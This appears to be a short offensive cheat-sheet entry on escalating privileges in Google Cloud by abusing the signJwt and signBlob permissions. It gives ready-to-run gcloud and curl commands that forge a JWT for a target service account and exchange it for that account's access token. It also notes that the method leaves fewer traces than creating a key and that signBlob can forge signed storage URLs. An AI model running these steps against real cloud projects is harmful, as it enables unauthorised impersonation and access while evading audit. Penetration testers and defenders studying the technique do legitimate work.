iam.serviceAccounts.signJwt signs a JWT with the target service account's Google-managed key, and signBlob signs arbitrary bytes. Either lets you produce a credential the account never issued: craft a JWT with a chosen aud and exchange it at the OAuth token endpoint for an access token as the target.
Forge a JWT and exchange it#
# sign a JWT claiming the target as issuer/subject, aud = the token endpoint
gcloud iam service-accounts sign-jwt --iam-account <target>@<proj>.iam.gserviceaccount.com \
claim.json signed.jwt
# claim.json: {"iss":"<target>@...","sub":"<target>@...","aud":"https://oauth2.googleapis.com/token","scope":"https://www.googleapis.com/auth/cloud-platform","iat":...,"exp":...}
# exchange the signed JWT for an access token as the target
curl -s https://oauth2.googleapis.com/token \
-d grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer \
-d assertion=$(cat signed.jwt)
Exploitation notes#
signJwtis enough on its own: you never need the target's private key, only the permission.signBlobis lower-level (sign any bytes) and reaches the same place by signing a JWT by hand, and also forges things like signed GCS URLs.- These are a quieter alternative to key creation: no long-lived key object is left behind.
Tools#
- gcloud (
iam service-accounts sign-jwt).